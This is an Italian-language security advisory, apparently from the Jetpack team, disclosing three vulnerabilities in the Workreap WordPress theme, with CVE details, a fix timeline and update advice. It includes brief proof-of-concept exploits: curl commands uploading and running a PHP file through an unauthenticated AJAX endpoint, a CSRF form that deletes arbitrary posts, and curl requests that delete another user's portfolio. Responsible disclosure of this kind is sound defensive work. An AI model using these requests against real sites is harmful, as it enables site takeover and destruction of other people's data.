Vulnerabilità multiple nel tema Workreap di Amentotech

Pubblicato: 2021-07-07

Di recente il team di Jetpack ha trovato alcuni file infetti in uno dei siti dei nostri clienti ospitati e ha rapidamente rintracciato la fonte dell'infezione fino al tema Workreap di Amentotech. Abbiamo avviato un'indagine e scoperto una serie di endpoint AJAX vulnerabili nel tema; la più grave di queste era una vulnerabilità di caricamento non convalidata non autenticata che potenzialmente portava all'esecuzione di codice in modalità remota e all'acquisizione dell'intero sito.

Abbiamo segnalato le vulnerabilità al team di Amentotech tramite il programma Envato Helpful Hacker e i problemi sono stati prontamente risolti da loro. La versione 2.2.2 del tema è stata rilasciata il 29 giugno 2021 che risolve le vulnerabilità rilevate.

TL; DR

A causa della gravità delle vulnerabilità, consigliamo vivamente a tutti gli utenti del tema Workreap di eseguire l'aggiornamento alla versione 2.2.2 o successiva il prima possibile.

Scarica l'aggiornamento dal sito Web del tema e installalo manualmente o aggiorna automaticamente tramite il plug-in di mercato di Envato.

Dettagli

Nome del tema: Workreap
URI del tema: http://amentotech.com/projects/wpworkreap
Autore: Amentotech
URI dell'autore: https://themeforest.net/user/amentotech/portfolio

Le vulnerabilità

A causa della gravità delle vulnerabilità, ritarderemo la pubblicazione del proof of concept e dell'analisi completa per dare agli utenti il ​​tempo di eseguire l'aggiornamento.

Caricamento non autenticato che porta all'esecuzione di codice in modalità remota

Versioni interessate: < 2.2.2
ID CVE: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284, CWE-641,
CCSS: 90.7
Link WPScan: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

Le azioni AJAX workreap_award_temp_file_uploader e workreap_temp_file_uploader non hanno eseguito controlli nonce o convalidato in altro modo che la richiesta provenga da un utente valido. Gli endpoint consentiti per il caricamento di file arbitrari nella directory uploads/workreap-temp . I file caricati non sono stati né disinfettati né convalidati, consentendo a un visitatore non autenticato di caricare codice eseguibile come script php.

Verifica teorica

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

Vulnerabilità multiple CSRF + IDOR

Versioni interessate: < 2.2.2
ID CVE: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283, CWE-284, CWE-862
CCSS: 78.3
Link WPScan: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Diverse azioni AJAX disponibili nel tema Workreap mancavano di protezioni CSRF, oltre a consentire riferimenti a oggetti diretti (IDOR) non sicuri che non erano stati convalidati. Ciò consente a un utente malintenzionato di indurre un utente connesso a inviare una richiesta POST al sito vulnerabile, modificando o eliminando potenzialmente oggetti arbitrari sul sito di destinazione.

Nelle versioni precedenti alla 2.0.0 queste azioni mancavano di autenticazione completa ed erano sfruttabili da qualsiasi visitatore del sito.

Verifica teorica

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

Controlli di autorizzazione mancanti nelle azioni AJAX

Versioni interessate: < 2.2.2
ID CVE: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283, CWE-862
CCSS: 68.5
Link WPScan: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Diverse azioni AJAX disponibili nel tema Workreap mancavano dei controlli di autorizzazione per verificare che un utente fosse autorizzato a eseguire operazioni critiche come la modifica o l'eliminazione di oggetti. Ciò ha consentito a un utente registrato di modificare o eliminare oggetti appartenenti ad altri utenti sul sito.

Nelle versioni precedenti alla 2.0.0 queste azioni non sono completamente autenticate ed erano sfruttabili da qualsiasi visitatore del sito.

Verifica teorica

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

Sequenza temporale

24-06-2021: Vulnerabilità di caricamento iniziale scoperta dal team di Jetpack Scan, segnalata al programma Envato Helpful Hacker.
25-06-2021: scoperte ulteriori vulnerabilità documentate, ha informato Amentotech tramite Envato.
27-06-2021: La versione 2.2.1 rilasciata, ha risolto alcune ma non tutte le vulnerabilità.
29-06-2021: versione 2.2.2 rilasciata e correzioni verificate dal team di Jetpack Scan.

Conclusione

Ti consigliamo di controllare la versione corrente del tema Workreap che stai utilizzando sul tuo sito e, se è inferiore alla 2.2.2, aggiornala il prima possibile!

In Jetpack, lavoriamo sodo per assicurarci che i tuoi siti Web siano protetti da questo tipo di vulnerabilità. Per essere un passo avanti a qualsiasi nuova minaccia, dai un'occhiata a Jetpack Scan, che include la scansione della sicurezza e la rimozione automatizzata del malware.

Crediti

Ricercatore originale: Harald Eilertsen

Grazie al resto del team di Jetpack Scan per feedback, aiuto e correzioni. Grazie anche a kailoon del programma Envato Helpful Hacker per l'assistenza nel contattare Amentotech e ad Amentotech per una pronta risposta nell'affrontare i problemi e nel rilasciare la versione aggiornata.